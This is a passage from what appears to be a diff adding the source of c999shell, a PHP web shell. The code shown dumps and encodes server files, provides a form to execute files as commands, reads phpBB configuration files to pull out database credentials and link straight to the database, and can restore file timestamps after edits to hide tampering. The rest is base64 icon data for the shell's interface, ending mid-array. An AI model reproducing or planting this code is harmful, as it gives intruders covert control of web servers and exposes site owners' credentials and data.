($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c999shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c999shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} +} +} +} +else +{ +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> 